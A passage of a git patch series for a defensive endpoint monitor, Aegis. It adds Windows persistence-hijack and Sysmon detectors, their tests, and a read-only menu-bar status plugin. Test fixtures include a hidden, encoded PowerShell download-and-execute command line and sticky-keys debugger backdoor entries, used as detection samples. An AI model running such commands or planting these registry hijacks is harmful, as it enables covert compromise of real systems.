(image, cmd)).encode("utf-8", "replace")).hexdigest()[:16] + if signals: + sev = max(signals, key=lambda s: SEV_ORDER[s[1]])[1] + names = [n for n, _s in signals] + detail = ("Sysmon ProcessCreate at %s: %s [%s]" + % (ts, image or cmd, ", ".join(names))) + markers = names + ["sysmon-eid1"] + else: + sev = "MEDIUM" + detail = ("Sysmon ProcessCreate at %s: %s ran from a user-writable " + "path (%s)" % (ts, image, cmd[:200])) + markers = ["risky-path-exec", "sysmon-eid1"] + return finding(sev, "sysmon", "Sysmon process creation", detail, + "sysmon:1:%s" % digest, path=image or None, markers=markers) + + +def _sysmon_eid6(msg, ts): + """Driver loaded: an unsigned / not-validly-signed kernel driver is HIGH + (ring-0 code with no vouching signature). A validly-signed driver is + silent.""" + kv = _parse_sysmon_kv(msg) + driver = kv.get("ImageLoaded") or "" + signed = (kv.get("Signed") or "").strip().lower() + status = (kv.get("SignatureStatus") or "").strip().lower() + if signed == "true" and status == "valid": + return None + digest = hashlib.sha256(driver.encode("utf-8", "replace")).hexdigest()[:16] + return finding( + "HIGH", "sysmon", "Sysmon: unsigned driver loaded", + "Sysmon logged a driver load at %s: %s (Signed=%s, SignatureStatus=%s)" + " — an unsigned or invalidly-signed kernel driver runs in ring 0 and " + "can hide from every userland check." % ( + ts, driver, kv.get("Signed") or "?", + kv.get("SignatureStatus") or "?"), + "sysmon:6:%s" % digest, path=driver or None, + markers=["unsigned-driver", "sysmon-eid6"]) + + +def _sysmon_eid25(msg, ts): + """Process tampering (image replacement / process hollowing) — HIGH.""" + kv = _parse_sysmon_kv(msg) + image = kv.get("Image") or "" + ttype = kv.get("Type") or "" + digest = hashlib.sha256( + ("%s\x00%s" % (image, ttype)).encode("utf-8", "replace")).hexdigest()[:16] + return finding( + "HIGH", "sysmon", "Sysmon: process tampering", + "Sysmon reported process tampering at %s: %s (Type: %s) — image " + "replacement / hollowing runs code the on-disk file no longer reflects." + % (ts, image, ttype or "?"), + "sysmon:25:%s" % digest, path=image or None, + markers=["process-tampering", "sysmon-eid25"]) + + +_SYSMON_SCORERS = {"1": _sysmon_eid1, "6": _sysmon_eid6, "25": _sysmon_eid25} + + +def _sysmon_findings(rows): + """Pure: parsed `_parse_win_events` rows -> findings, deduped by fingerprint. + Unknown event IDs are ignored (the harvest asks only for 1/6/25, but a + stray row must never fabricate a finding).""" + findings = [] + seen = set() + for _log, eid, ts, msg in rows: + scorer = _SYSMON_SCORERS.get(eid) + if not scorer: + continue + f = scorer(msg, ts) + if not f or f["fingerprint"] in seen: + continue + seen.add(f["fingerprint"]) + findings.append(f) + return findings + + +def check_sysmon_log(): + out, _, rc = run(["powershell", "-NoProfile", "-NonInteractive", "-Command", + _SYSMON_PS], timeout=120) + # Non-zero exit (timeout, missing PowerShell, blocked policy) is a + # non-answer. So is the explicit sentinel the probe emits when Get-WinEvent + # failed for a reason OTHER than "no events" — the channel was there and the + # read did not succeed, which is DEGRADED, not clean. A clean run with no + # matching events in the window is a real empty ([]). + if rc != 0: + return None + if "sysmon-probe=failed" in (out or ""): + return None + return _sysmon_findings(_parse_win_events(out)) + + +def _sysmon_sensor(): + """Register the Sysmon harvest ONLY where the Operational channel exists + (Sysmon installed). Channel absent = product not installed = sensor absent, + exactly like a launchd check on Linux — never a DEGRADED row for a tool that + is not there. When the channel key cannot be READ (denied), absence cannot + be proven, so we register and let check_sysmon_log degrade honestly.""" + try: + import winreg + except Exception: + return [] + try: + with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, _SYSMON_CHANNEL_KEY): + pass + except FileNotFoundError: + return [] + except OSError: + pass # denied/other: cannot prove absence -> register + return [("sysmon-log", check_sysmon_log, ())] + + # --- Auth sessions (remote login / screen sharing) --------------------------- def _parse_who_remote(text): """{user@host:tty: host} for REMOTE sessions only — a parenthesized origin at @@ -8544,6 +8955,9 @@ def cmd_glean(mode="new"): diff_win_exclusions), ("win_wmi_subscriptions", snapshot_wmi_subscriptions, diff_wmi_subscriptions), + ("win_com_hijack", snapshot_com_hijack, diff_com_hijack), + ("win_ifeo", snapshot_ifeo, diff_ifeo), + ("win_appinit", snapshot_appinit, diff_appinit), ] # Surfaces whose first-sight items are LIVE risks, not installed-residue: they @@ -8991,6 +9405,7 @@ def gather_all(baseline_snap, current_snap, health=None): sensors += [ ("windows-event-log", check_windows_event_log, ()), ] + sensors += _sysmon_sensor() # only where the Sysmon channel exists # ONE process-table walk for the whole sensor loop. Built through the # module-level _iter_processes (cache is None here, so this is a live walk, # and a test that stubs _iter_processes still flows through), then armed so diff --git a/tests/test_win_evasion.py b/tests/test_win_evasion.py new file mode 100644 index 0000000..46495f1 --- /dev/null +++ b/tests/test_win_evasion.py @@ -0,0 +1,471 @@ +"""Windows persistence-evasion sensors: COM hijack, IFEO, AppInit_DLLs, Sysmon. + +The rung above Run keys/schtasks/Winlogon (which the persistence snapshot +already covers): registry hijack points that execute inside TRUSTED processes, +so no autostart entry ever appears (T1546.015 / .012 / .008 / .010), plus a +narrow harvest of the Sysmon Operational channel where Sysmon is installed. + +Same doctrine as test_cross_platform.py: every scoring/parsing function is +pure and runs on every host with text/dict fixtures; the winreg walks execute +end-to-end against a fake winreg module injected into sys.modules (the +WindowsPersistenceLivePlumbing pattern), so no test ever touches a real +registry — and none of these tests writes to ~/.aegis or fires a notification +(diff/parse functions only construct finding dicts). +""" +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +import aegis # noqa: E402 + + +# --------------------------------------------------------------------------- # +# Fake winreg (mirrors the stdlib API surface the snapshots use: OpenKey as a +# context manager and on an already-open key, EnumKey/EnumValue ending with +# OSError, QueryValueEx). OSError(2) IS FileNotFoundError in Python 3, so a +# missing key exercises the real-empty branch; _DeniedWinreg exercises the +# non-answer branch with a genuine permission error. +# --------------------------------------------------------------------------- # +class _FakeKey: + def __init__(self, values=None, subkeys=None): + self.values = list((values or {}).items()) + self.subkeys = subkeys or {} + + def __enter__(self): + return self + + def __exit__(self, *exc): + return False + + +class _FakeWinreg: + HKEY_CURRENT_USER = "HKCU" + HKEY_LOCAL_MACHINE = "HKLM" + + def __init__(self, tree): + # tree: {("HKCU", "Sub\\Key"): _FakeKey} + self.tree = tree + + def OpenKey(self, hive, subkey): + if isinstance(hive, _FakeKey): + child = hive.subkeys.get(subkey) + if child is None: + raise OSError(2, "not found") + return child + key = self.tree.get((hive, subkey)) + if key is None: + raise OSError(2, "not found") + return key + + def EnumKey(self, key, index): + names = sorted(key.subkeys) + try: + return names[index] + except IndexError: + raise OSError(259, "no more data") + + def EnumValue(self, key, index): + try: + name, val = key.values[index] + except IndexError: + raise OSError(259, "no more data") + return name, val, 1 + + def QueryValueEx(self, key, name): + for k, v in key.values: + if k == name: + return v, 1 + raise OSError(2, "no such value") + + +class _DeniedWinreg(_FakeWinreg): + def OpenKey(self, hive, subkey): + raise PermissionError(13, "access denied") + + +class _WinFlags(unittest.TestCase): + """Patch the platform flags + prefix tables so is_risky_location grades + literal Windows paths identically on every host (the established pattern + from WindowsPersistenceLivePlumbing).""" + + def setUp(self): + self._saved = {k: getattr(aegis, k) for k in + ("IS_WIN", "IS_MAC", "IS_LINUX", + "TRUSTED_PREFIXES", "RISKY_PREFIXES")} + aegis.IS_WIN, aegis.IS_MAC, aegis.IS_LINUX = True, False, False + aegis.TRUSTED_PREFIXES = ("C:\\Windows\\", "C:\\Program Files\\") + aegis.RISKY_PREFIXES = ("C:\\Users\\",) + + def tearDown(self): + for k, v in self._saved.items(): + setattr(aegis, k, v) + + def _winreg(self, fake): + sys.modules["winreg"] = fake + self.addCleanup(sys.modules.pop, "winreg", None) + + +# --------------------------------------------------------------------------- # +# COM hijack (T1546.015): HKCU CLSID server registrations, baseline-diffed +# --------------------------------------------------------------------------- # +class ComHijackDiff(_WinFlags): + RISKY = "C:\\Users\\bob\\AppData\\Roaming\\evil.dll" + TRUSTED = "C:\\Program Files\\Vendor\\real.dll" + + def test_new_server_in_user_writable_path_is_high(self): + fs = aegis.diff_com_hijack( + {}, {"{018D5C66-4533-4307-9B53-224DE2ED1FE6}\\InprocServer32": + self.RISKY}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("com-hijack", fs[0]["markers"]) + + def test_changed_target_into_user_writable_path_is_high(self): + key = "{018D5C66-4533-4307-9B53-224DE2ED1FE6}\\InprocServer32" + fs = aegis.diff_com_hijack({key: self.TRUSTED}, {key: self.RISKY}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("CHANGED", fs[0]["title"]) + + def test_new_server_in_program_files_is_silent(self): + # The benign pole: per-user CLSID registrations pointing at an + # admin-writable install tree are routine app-install churn. + fs = aegis.diff_com_hijack( + {}, {"{AAAA0000-0000-0000-0000-000000000001}\\InprocServer32": + self.TRUSTED}) + self.assertEqual([], fs) + + def test_unchanged_entries_are_silent(self): + snap = {"{X}\\InprocServer32": self.RISKY} + self.assertEqual([], aegis.diff_com_hijack(snap, snap)) + + def test_env_var_target_is_expanded_before_grading(self): + os.environ["AEGIS_FAKE_ROAMING"] = "C:\\Users\\bob\\AppData\\Roaming" + self.addCleanup(os.environ.pop, "AEGIS_FAKE_ROAMING", None) + fs = aegis.diff_com_hijack( + {}, {"{X}\\InprocServer32": "%AEGIS_FAKE_ROAMING%\\evil.dll"}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + + def test_quoted_localserver_command_line_resolves_the_exe(self): + fs = aegis.diff_com_hijack( + {}, {"{X}\\LocalServer32": + '"C:\\Users\\bob\\AppData\\Local\\srv.exe" /automation'}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + + +class ComHijackSnapshot(_WinFlags): + def test_clsid_tree_walk_collects_both_server_types(self): + clsids = _FakeKey(subkeys={ + "{A}": _FakeKey(subkeys={ + "InprocServer32": _FakeKey({"": "C:\\pf\\a.dll", + "ThreadingModel": "Both"})}), + "{B}": _FakeKey(subkeys={ + "LocalServer32": _FakeKey({"": '"C:\\pf\\b.exe" /auto'})}), + "{C}": _FakeKey(subkeys={"ProgID": _FakeKey({"": "c.prog"})}), + }) + self._winreg(_FakeWinreg({("HKCU", aegis._COM_CLSID_KEY): clsids})) + snap = aegis.snapshot_com_hijack() + self.assertEqual({"{A}\\InprocServer32": "C:\\pf\\a.dll", + "{B}\\LocalServer32": '"C:\\pf\\b.exe" /auto'}, snap) + + def test_missing_clsid_root_is_a_real_empty(self): + # HKCU\...\CLSID is created by the first per-user registration, so a + # profile without one has genuinely zero entries — an answer, not a gap. + self._winreg(_FakeWinreg({})) + self.assertEqual({}, aegis.snapshot_com_hijack()) + + def test_unreadable_registry_is_a_non_answer(self): + self._winreg(_DeniedWinreg({})) + self.assertIsNone(aegis.snapshot_com_hijack()) + + +# --------------------------------------------------------------------------- # +# IFEO Debugger + SilentProcessExit (T1546.012 / T1546.008) +# --------------------------------------------------------------------------- # +class IfeoDiff(unittest.TestCase): + PAYLOAD = "C:\\Users\\bob\\AppData\\Roaming\\shell.exe" + + def test_new_debugger_on_each_accessibility_binary_is_critical(self): + # Writing this needs admin; READING it does not, and the value + # appearing is the signal regardless of who wrote it. sethc.exe-class + # binaries launch from the LOCK SCREEN, so this is the pre-auth + # sticky-keys backdoor. + for exe in ("sethc.exe", "utilman.exe", "osk.exe", "magnify.exe", + "narrator.exe", "displayswitch.exe"): + fs = aegis.diff_ifeo({}, {"debugger:%s" % exe: self.PAYLOAD}) + self.assertEqual(1, len(fs), exe) + self.assertEqual("CRITICAL", fs[0]["severity"], exe) + + def test_new_debugger_on_any_other_binary_is_high(self): + fs = aegis.diff_ifeo({}, {"debugger:chrome.exe": self.PAYLOAD}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + + def test_new_monitorprocess_is_high(self): + fs = aegis.diff_ifeo({}, {"monitor:notepad.exe": self.PAYLOAD}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + + def test_changed_debugger_is_reported(self): + key = "debugger:sethc.exe" + fs = aegis.diff_ifeo({key: "C:\\old\\dbg.exe"}, {key: self.PAYLOAD}) + self.assertEqual(1, len(fs)) + self.assertEqual("CRITICAL", fs[0]["severity"]) + self.assertIn("CHANGED", fs[0]["title"]) + + def test_preexisting_entry_adopted_at_baseline_is_silent(self): + # The benign pole: a developer's vsjitdebugger registration that was + # present when the surface was first sighted must never re-alert. + snap = {"debugger:myapp.exe": + '"C:\\Windows\\system32\\vsjitdebugger.exe"'} + self.assertEqual([], aegis.diff_ifeo(snap, snap)) + + +class IfeoSnapshot(_WinFlags): + def test_debugger_and_monitorprocess_values_are_snapshotted(self): + ifeo = _FakeKey(subkeys={ + "sethc.exe": _FakeKey({"Debugger": "C:\\evil\\d.exe"}), + "myapp.exe": _FakeKey({"MitigationOptions": 256}), + }) + spe = _FakeKey(subkeys={ + "notepad.exe": _FakeKey({"MonitorProcess": "C:\\evil\\m.exe"}), + }) + self._winreg(_FakeWinreg({("HKLM", aegis._WIN_IFEO_KEY): ifeo, + ("HKLM", aegis._WIN_SPE_KEY): spe})) + snap = aegis.snapshot_ifeo() + self.assertEqual({"debugger:sethc.exe": "C:\\evil\\d.exe", + "monitor:notepad.exe": "C:\\evil\\m.exe"}, snap) + + def test_missing_keys_are_a_real_empty(self): + self._winreg(_FakeWinreg({})) + self.assertEqual({}, aegis.snapshot_ifeo()) + + def test_unreadable_registry_is_a_non_answer(self): + self._winreg(_DeniedWinreg({})) + self.assertIsNone(aegis.snapshot_ifeo()) + + +# --------------------------------------------------------------------------- # +# AppInit_DLLs (T1546.010) +# --------------------------------------------------------------------------- # +class AppInitDiff(unittest.TestCase): + def test_value_appearing_is_high(self): + fs = aegis.diff_appinit( + {}, {aegis._WIN_APPINIT_KEYS[0]: "C:\\Users\\b\\evil.dll"}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + + def test_value_changing_is_high(self): + key = aegis._WIN_APPINIT_KEYS[0] + fs = aegis.diff_appinit({key: "old.dll"}, {key: "new.dll"}) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("CHANGED", fs[0]["title"]) + + def test_stable_value_is_silent(self): + snap = {aegis._WIN_APPINIT_KEYS[0]: "corp-mandated.dll"} + self.assertEqual([], aegis.diff_appinit(snap, snap)) + + +class AppInitSnapshot(_WinFlags): + def test_nonempty_value_captured_and_empty_skipped(self): + self._winreg(_FakeWinreg({ + ("HKLM", aegis._WIN_APPINIT_KEYS[0]): + _FakeKey({"AppInit_DLLs": "C:\\x\\hook.dll", + "LoadAppInit_DLLs": 1}), + ("HKLM", aegis._WIN_APPINIT_KEYS[1]): + _FakeKey({"AppInit_DLLs": " "}), + })) + self.assertEqual({aegis._WIN_APPINIT_KEYS[0]: "C:\\x\\hook.dll"}, + aegis.snapshot_appinit()) + + def test_unreadable_registry_is_a_non_answer(self): + self._winreg(_DeniedWinreg({})) + self.assertIsNone(aegis.snapshot_appinit()) + + +# --------------------------------------------------------------------------- # +# Sysmon harvest: EID 1 (ProcessCreate), 6 (driver loaded), 25 (tampering) +# --------------------------------------------------------------------------- # +_EID1 = ("Process Create: RuleName: - UtcTime: 2026-08-10 14:03:22.001 " + "ProcessGuid: {a23eae89-bd56-5903-0000-0010e9d95e00} ProcessId: 6228 " + "Image: %(image)s FileVersion: - Description: - Product: - Company: - " + "OriginalFileName: x CommandLine: %(cmd)s " + "CurrentDirectory: C:\\Users\\bob\\ User: DESKTOP-1\\bob " + "LogonGuid: {a23eae89-0000-0000-0000-000000000000} LogonId: 0x3E7 " + "TerminalSessionId: 1 IntegrityLevel: Medium Hashes: SHA256=AAAA " + "ParentProcessGuid: {a23eae89-1111-0000-0000-000000000000} " + "ParentProcessId: 800 ParentImage: C:\\Windows\\explorer.exe " + "ParentCommandLine: explorer.exe ParentUser: DESKTOP-1\\bob") + +_EID6 = ("Driver loaded: RuleName: - UtcTime: 2026-08-10 13:00:00.000 " + "ImageLoaded: %(driver)s Hashes: SHA256=BBBB Signed: %(signed)s " + "Signature: %(sig)s SignatureStatus: %(status)s") + +_EID25 = ("Process Tampering: RuleName: - UtcTime: 2026-08-10 15:00:00.000 " + "ProcessGuid: {a23eae89-2222-0000-0000-000000000000} " + "ProcessId: 4432 Image: C:\\Users\\bob\\AppData\\Roaming\\svc.exe " + "Type: Image is replaced User: DESKTOP-1\\bob") + +_ENC = ("SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBi" + "AEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcA") + + +def _row(eid, msg): + return [("Microsoft-Windows-Sysmon/Operational", eid, + "2026-08-10T14:03:22.0000000Z", msg)] + + +class SysmonFieldParser(unittest.TestCase): + def test_image_and_commandline_are_extracted(self): + msg = _EID1 % {"image": "C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe", + "cmd": '"C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe" /S'} + kv = aegis._parse_sysmon_kv(msg) + self.assertEqual("C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe", + kv["Image"]) + self.assertEqual('"C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe" /S', + kv["CommandLine"]) + self.assertEqual("C:\\Windows\\explorer.exe", kv["ParentImage"]) + + def test_driver_signature_fields_are_extracted(self): + kv = aegis._parse_sysmon_kv(_EID6 % { + "driver": "C:\\Windows\\Temp\\evil.sys", "signed": "false", + "sig": "-", "status": "Unavailable"}) + self.assertEqual("C:\\Windows\\Temp\\evil.sys", kv["ImageLoaded"]) + self.assertEqual("false", kv["Signed"]) + self.assertEqual("Unavailable", kv["SignatureStatus"]) + + def test_garbage_never_raises(self): + self.assertEqual({}, aegis._parse_sysmon_kv("")) + self.assertEqual({}, aegis._parse_sysmon_kv("no fields here")) + + +class SysmonScoring(_WinFlags): + def test_eid1_hostile_commandline_scores_high(self): + msg = _EID1 % {"image": "C:\\Windows\\System32\\" + "WindowsPowerShell\\v1.0\\powershell.exe", + "cmd": "powershell.exe -nop -w hidden -enc " + _ENC} + fs = aegis._sysmon_findings(_row("1", msg)) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("powershell-encoded-command", fs[0]["markers"]) + + def test_eid1_risky_image_alone_is_medium_not_silent(self): + msg = _EID1 % {"image": "C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe", + "cmd": '"C:\\Users\\bob\\AppData\\Local\\Temp\\s.exe" /S'} + fs = aegis._sysmon_findings(_row("1", msg)) + self.assertEqual(1, len(fs)) + self.assertEqual("MEDIUM", fs[0]["severity"]) + self.assertIn("risky-path-exec", fs[0]["markers"]) + + def test_eid1_signed_binary_in_trusted_path_is_silent(self): + # The benign pole: an ordinary process creation must produce nothing. + msg = _EID1 % {"image": "C:\\Program Files\\Microsoft Teams\\Teams.exe", + "cmd": '"C:\\Program Files\\Microsoft Teams\\Teams.exe" ' + "--type=renderer"} + self.assertEqual([], aegis._sysmon_findings(_row("1", msg))) + + def test_eid6_unsigned_driver_is_high(self): + msg = _EID6 % {"driver": "C:\\Windows\\Temp\\evil.sys", + "signed": "false", "sig": "-", "status": "Unavailable"} + fs = aegis._sysmon_findings(_row("6", msg)) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("unsigned-driver", fs[0]["markers"]) + + def test_eid6_validly_signed_driver_is_silent(self): + msg = _EID6 % {"driver": "C:\\Windows\\System32\\drivers\\rt.sys", + "signed": "true", "sig": "Realtek Semiconductor Corp", + "status": "Valid"} + self.assertEqual([], aegis._sysmon_findings(_row("6", msg))) + + def test_eid25_process_tampering_is_high(self): + fs = aegis._sysmon_findings(_row("25", _EID25)) + self.assertEqual(1, len(fs)) + self.assertEqual("HIGH", fs[0]["severity"]) + self.assertIn("process-tampering", fs[0]["markers"]) + + def test_duplicate_events_dedupe_to_one_finding(self): + rows = _row("25", _EID25) * 3 + self.assertEqual(1, len(aegis._sysmon_findings(rows))) + + def test_unknown_event_ids_are_ignored(self): + self.assertEqual([], aegis._sysmon_findings(_row("13", "whatever"))) + + +class SysmonProbeContract(unittest.TestCase): + def _with_run(self, fn, out="", err="", rc=0): + saved = aegis.run + aegis.run = lambda cmd, timeout=15, extra_env=None: (out, err, rc) + try: + return fn() + finally: + aegis.run = saved + + def test_probe_failure_is_a_non_answer(self): + self.assertIsNone(self._with_run(aegis.check_sysmon_log, + err="boom", rc=1)) + + def test_readable_channel_reporting_a_read_error_is_a_non_answer(self): + # The channel exists but Get-WinEvent failed for a non-"no events" + # reason: coverage was possible and was not obtained — DEGRADED. + self.assertIsNone(self._with_run(aegis.check_sysmon_log, + out="sysmon-probe=failed\n", rc=0)) + + def test_no_events_in_the_window_is_a_real_empty(self): + self.assertEqual([], self._with_run(aegis.check_sysmon_log)) + + +class SysmonRegistration(_WinFlags): + def test_channel_absent_means_sensor_absent_not_degraded(self): + # Sysmon not installed is a machine without the product — no sensor, + # no DEGRADED health row, exactly like a launchd check on Linux. + self._winreg(_FakeWinreg({})) + self.assertEqual([], aegis._sysmon_sensor()) + + def test_channel_present_registers_the_sensor(self): + self._winreg(_FakeWinreg( + {("HKLM", aegis._SYSMON_CHANNEL_KEY): _FakeKey()})) + sensors = aegis._sysmon_sensor() + self.assertEqual(1, len(sensors)) + self.assertEqual("sysmon-log", sensors[0][0]) + self.assertIs(aegis.check_sysmon_log, sensors[0][1]) + + def test_unreadable_channel_key_still_registers(self): + # Cannot prove absence: register, and let the harvest degrade honestly + # rather than silently dropping possible coverage. + self._winreg(_DeniedWinreg({})) + self.assertEqual(1, len(aegis._sysmon_sensor())) + + +# --------------------------------------------------------------------------- # +# Registry integrity for the new surfaces +# --------------------------------------------------------------------------- # +class EvasionRegistryIntegrity(unittest.TestCase): + def test_all_new_entrypoints_exist_everywhere(self): + for name in ("snapshot_com_hijack", "diff_com_hijack", + "snapshot_ifeo", "diff_ifeo", + "snapshot_appinit", "diff_appinit", + "check_sysmon_log", "_sysmon_sensor"): + self.assertTrue(callable(getattr(aegis, name, None)), + "%s is missing" % name) + + @unittest.skipUnless(aegis.IS_WIN, "surface registry is per-platform") + def test_windows_registers_the_evasion_surfaces(self): + keys = {k for k, _s, _d in aegis.SURFACES} + for key in ("win_com_hijack", "win_ifeo", "win_appinit"): + self.assertIn(key, keys) + + def test_posix_does_not_register_the_evasion_surfaces(self): + if aegis.IS_WIN: + self.skipTest("windows host") + keys = {k for k, _s, _d in aegis.SURFACES} + for key in ("win_com_hijack", "win_ifeo", "win_appinit"): + self.assertNotIn(key, keys) + + +if __name__ == "__main__": + unittest.main() From 39f91d40688774d482b059a6e97e780cb95d019a Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Tue, 11 Aug 2026 08:25:16 -0700 Subject: [PATCH 03/11] =?UTF-8?q?feat(aegis):=20xbar/SwiftBar=20menu-bar?= =?UTF-8?q?=20status=20plugin=20=E2=80=94=20the=20one-glance=20green=20che?= =?UTF-8?q?ckmark?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit menubar/aegis-status.30s.py: a standalone, stdlib-only, strictly READ-ONLY menu-bar viewer of Aegis state (xbar and SwiftBar compatible), refreshed every 30s. Title states, most important first: 💀 heartbeat missing-though-installed or stale past the cmd_watchdog tolerance (3h) — the monitor itself is dead, the one state a dead monitor cannot report and the reason the plugin exists ⚠️ N N active incidents (full count in the title, worst-first top-5 in the dropdown, worst severity colors it) 🛡️ heartbeat fresh, no open incidents ⚪ ~/.aegis absent/empty — calm "not installed", never an alarm Dropdown: last scan (relative), open incidents (id/severity/title), degraded sensors, heartbeat age, then actions — open latest.md, `incidents` and `scan` in Terminal via xbar shell= params against the install.sh runtime copy. Doctrine, held structurally rather than by promise: * read-only: aegis.db is opened with the same `mode=ro&immutable=1` URI idiom aegis.py uses on other processes' DBs (cannot lock, journal, or create); the only other read is byte-capped open(..., "r"); no write-mode open, no makedirs, no delete, no networking import anywhere in the file * standalone: never imports aegis.py — the three tiny readers (heartbeat, incidents, sensor health) are re-implemented against the documented shapes * never crashes: a crashed plugin renders NOTHING in the menu bar, so every reader degrades its own line and main() cannot exit non-zero; hostile db text is '|'-sanitized so an incident title cannot forge xbar params into its own menu line tests/test_menubar.py (19 tests, fail-before captured: all 19 failed with the plugin absent) runs the plugin as a subprocess against a sandboxed AEGIS_STATE_DIR and wraps EVERY invocation in a full before/after inventory (paths + sizes + mtime_ns) — any write to the state dir fails the suite. Also pinned: a real-sqlite HIGH incident renders ⚠️ 1 with its title; stale/missing heartbeat is 💀 and outranks open incidents; absent AND empty dirs are "not installed" (exit 0, dir never created); corrupt db + corrupt heartbeat still render a title; a 4MB heartbeat is read bounded; the import ban is enforced via ast, not prose. README: "Menu-bar status" section with one-line SwiftBar and xbar installs and the read-only guarantee. aegis.py itself is untouched. Co-Authored-By: Claude Fable 5 --- README.md | 25 +++ menubar/aegis-status.30s.py | 288 +++++++++++++++++++++++++++ tests/test_menubar.py | 382 ++++++++++++++++++++++++++++++++++++ 3 files changed, 695 insertions(+) create mode 100755 menubar/aegis-status.30s.py create mode 100644 tests/test_menubar.py diff --git a/README.md b/README.md index 164c66d..f2154a8 100644 --- a/README.md +++ b/README.md @@ -261,6 +261,31 @@ scripts the same access. `aegis.py doctor` reports inaccessible coverage as degraded rather than clean. Broader access belongs in a future dedicated, signed Aegis app whose identity and requested capability can be reviewed. +### Menu-bar status (macOS, optional) + +`menubar/aegis-status.30s.py` is an [xbar](https://xbarapp.com)/[SwiftBar](https://swiftbar.app) +plugin that puts the one-glance verdict in the menu bar, refreshed every 30s: +**🛡️** heartbeat fresh and no open incidents · **⚠️ N** incidents open (worst +severity colors the dropdown) · **💀** heartbeat stale past the watchdog +tolerance — the monitor itself is dead, the one state a dead monitor cannot +report and the reason the plugin exists. The dropdown shows the last scan time, +the open incidents (most severe first), degraded sensors, and heartbeat age, +plus actions to open `~/.aegis/latest.md`, list incidents in Terminal, or scan +now. **Strictly read-only on Aegis state, by construction:** it opens `aegis.db` +with SQLite's `mode=ro&immutable=1` (it cannot lock, journal, or modify the +store), caps every text read, never creates a file, and never touches the +network — and it is standalone (it never imports `aegis.py`). Missing or corrupt +state degrades a line, never the plugin; an absent `~/.aegis` renders a calm +"not installed". Honors `AEGIS_STATE_DIR` for a non-default state dir. + +```bash +# SwiftBar (copies into the plugin folder you chose in SwiftBar's settings): +cp menubar/aegis-status.30s.py "$(defaults read com.ameba.SwiftBar PluginDirectory)/" && chmod +x "$(defaults read com.ameba.SwiftBar PluginDirectory)/aegis-status.30s.py" + +# xbar: +mkdir -p ~/Library/Application\ Support/xbar/plugins && cp menubar/aegis-status.30s.py ~/Library/Application\ Support/xbar/plugins/ && chmod +x ~/Library/Application\ Support/xbar/plugins/aegis-status.30s.py +``` + --- ## Response tier — act on a finding (opt-in, staged, reversible-by-default) diff --git a/menubar/aegis-status.30s.py b/menubar/aegis-status.30s.py new file mode 100755 index 0000000..2520ed7 --- /dev/null +++ b/menubar/aegis-status.30s.py @@ -0,0 +1,288 @@ +#!/usr/bin/env python3 +# Aegis Status +# v1.0 +# Aegis +# One-glance Aegis security-monitor status: heartbeat, open incidents, degraded sensors. Strictly read-only on Aegis state. +# python3 +# true +"""One-glance Aegis status for the macOS menu bar (xbar / SwiftBar). + +STRICTLY READ-ONLY on Aegis state, by construction: + * the SQLite store is opened with `mode=ro&immutable=1` (the same idiom + aegis.py uses to read other processes' DBs) — it cannot lock, journal, + or modify the file, and it never creates one that is absent; + * every other read is `open(..., "r")` with a hard byte cap; + * there is no `os.makedirs`, no write-mode `open`, no delete, and no + networking import anywhere in this file. + +STANDALONE on purpose: it never imports aegis.py (the runtime copy may live +anywhere), so the three tiny readers it needs — heartbeat, incidents, sensor +health — are re-implemented here against the documented shapes. The staleness +tolerance mirrors `cmd_watchdog`'s HEARTBEAT_STALE_SECS. + +Failure doctrine: a plugin that crashes renders NOTHING in the menu bar, which +would silently remove the very indicator this exists to provide. So every +reader degrades its own line and main() cannot exit non-zero — the worst state +still renders a title. + +States, most important first: + 💀 the monitor is dead (heartbeat missing-though-installed or stale) + ⚠️ N N incidents are open (worst severity colors the dropdown) + 🛡️ heartbeat fresh, no open incidents + ⚪ ~/.aegis absent/empty — Aegis is simply not installed (calm) +""" +import json +import os +import sqlite3 +import sys +import time + +STATE_DIR = os.environ.get("AEGIS_STATE_DIR") or \ + os.path.join(os.path.expanduser("~"), ".aegis") +DB_FILE = os.path.join(STATE_DIR, "aegis.db") +HEARTBEAT_FILE = os.path.join(STATE_DIR, "heartbeat.json") +LATEST_MD = os.path.join(STATE_DIR, "latest.md") +BASELINE = os.path.join(STATE_DIR, "baseline.json") +RUNTIME = os.path.join(STATE_DIR, "aegis.py") # install.sh's runtime copy + +HEARTBEAT_STALE_SECS = 3 * 3600 # mirrors aegis.py cmd_watchdog tolerance +ACTIVE_STATES = ("OPEN", "ACK", "INVESTIGATING", "CONTAINED", + "RECOVERING", "MONITORING") +SEV_RANK = {"CRITICAL": 4, "HIGH": 3, "MEDIUM": 2, "LOW": 1, "INFO": 0} +SEV_COLOR = {"CRITICAL": "red", "HIGH": "orange", "MEDIUM": "#b58900", + "LOW": "blue", "INFO": "gray"} +MAX_JSON_BYTES = 1 << 16 # heartbeat.json is ~200 bytes; anything huge is wrong +MAX_INCIDENTS = 5 + + +# 